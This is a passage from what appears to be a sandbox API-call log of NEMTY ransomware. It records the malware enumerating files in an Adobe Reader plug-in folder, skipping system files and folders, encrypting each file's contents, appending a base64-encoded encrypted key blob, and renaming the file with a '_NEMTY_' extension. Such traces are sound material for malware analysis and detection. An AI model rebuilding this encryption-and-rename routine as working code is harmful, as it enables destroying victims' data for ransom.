lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.616] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra._nemty_kgobjgd_")) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.617] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.ITA", cAlternateFileName="WINDOW~1.ITA")) returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2=".") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="..") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="...") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="windows") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="$RECYCLE.BIN") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="rsa") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="NTDETECT.COM") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="ntldr") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="MSDOS.SYS") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="IO.SYS") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="boot.ini") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="boot.ini") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="ntuser.dat") returned 1 [0191.617] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="desktop.ini") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="CONFIG.SYS") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="RECYCLER") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="BOOTSECT.BAK") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="bootmgr") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="programdata") returned 1 [0191.618] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2="appdata") returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ITA", lpUsedDefaultChar=0x0) returned 16 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ITA", lpUsedDefaultChar=0x0) returned 16 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ITA", lpUsedDefaultChar=0x0) returned 16 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.618] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ITA", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ITA", lpUsedDefaultChar=0x0) returned 16 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.618] Sleep (dwMilliseconds=0x5) [0191.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ddbf30, dwHighDateTime=0x1d561e8)) [0191.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ddbf30, dwHighDateTime=0x1d561e8)) [0191.628] GetLastError () returned 0x0 [0191.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.628] GetLastError () returned 0x0 [0191.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.629] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.629] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="RBKMKf4vIZlzTCjfQsr40I4GjCYqicsZwe/0Hvvi4BzRNij+dihuXcanzveq++rK\r\nk3OIAIVBCe3R3IEYJ9U89xv2DgOjHJHh9EP/YtmcDFm+oIRsSMpGJSazrg1athBr\r\nsg7wwbHkvUL9Rcz3D4025iDx1TkaD1NaROcVL2C9RHw7DHbywWxtD7W7u2SSze3Y\r\nUXiEH9Sbbp9d9XD8Gaol0MuJMoIuV+dH1eDRbeQAXJ4COA13/+YRtHK4eQkLEUVJ\r\nUEZmPEXCxbr1PBHpluBp/gz6e6aUD5Esw523WE5S4N7de5vpY3abu3EeqeC4jnHj\r\nwXJAQWwZby07B5P6FD2nGw==\r\n", pcchString=0x653e29c) returned 1 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.629] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.629] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.629] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.631] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.631] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.631] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.631] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.631] CloseHandle (hObject=0x2f0) returned 1 [0191.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.632] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita._nemty_kgobjgd_")) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.633] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.JPN", cAlternateFileName="WINDOW~1.JPN")) returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2=".") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="..") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="...") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="windows") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="$RECYCLE.BIN") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="rsa") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="NTDETECT.COM") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="ntldr") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="MSDOS.SYS") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="IO.SYS") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="boot.ini") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="boot.ini") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="ntuser.dat") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="desktop.ini") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="CONFIG.SYS") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="RECYCLER") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="BOOTSECT.BAK") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="bootmgr") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="programdata") returned 1 [0191.633] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2="appdata") returned 1 [0191.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.JPN", lpUsedDefaultChar=0x0) returned 16 [0191.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.JPN", lpUsedDefaultChar=0x0) returned 16 [0191.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.JPN", lpUsedDefaultChar=0x0) returned 16 [0191.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.JPN", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.JPN", lpUsedDefaultChar=0x0) returned 16 [0191.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.634] Sleep (dwMilliseconds=0x5) [0191.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e02090, dwHighDateTime=0x1d561e8)) [0191.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e02090, dwHighDateTime=0x1d561e8)) [0191.644] GetLastError () returned 0x0 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.644] GetLastError () returned 0x0 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.644] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.644] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="gmJAOqUtflRAZkawe/BDQfWVbMRY+d5feO9vX7BW/1y3X1kAgiPfs9bVMYdFjIna\r\nrmW0/jFZP/fRd7nI1K5HLb83jrUox3MqB788R/48K4xCGJ7MUB2vuo+V7eiXXAKX\r\nCWO9LkQd0uxSiLR8GQh9wWu26olp6NQSxbz2P/nZqwrradSoCrT8vUCkEre/wwNZ\r\n4r9NjkY7z6Pwc+q//Qd7O1xdimKFLfCLx3VQLx/8LSuf6FRW5UELxIq0GwMHyEx5\r\n8vzsVP7WJDFbhJCn5a3txDZRSk+oMUKAtlxkMITtpSsfufrqz8eLawGgLiBePO0M\r\nKFI9B7R+yU+YPlhzbJ65Wg==\r\n", pcchString=0x653e29c) returned 1 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.645] RtlAllocateHeap (HeapHandle=0x4f90000, 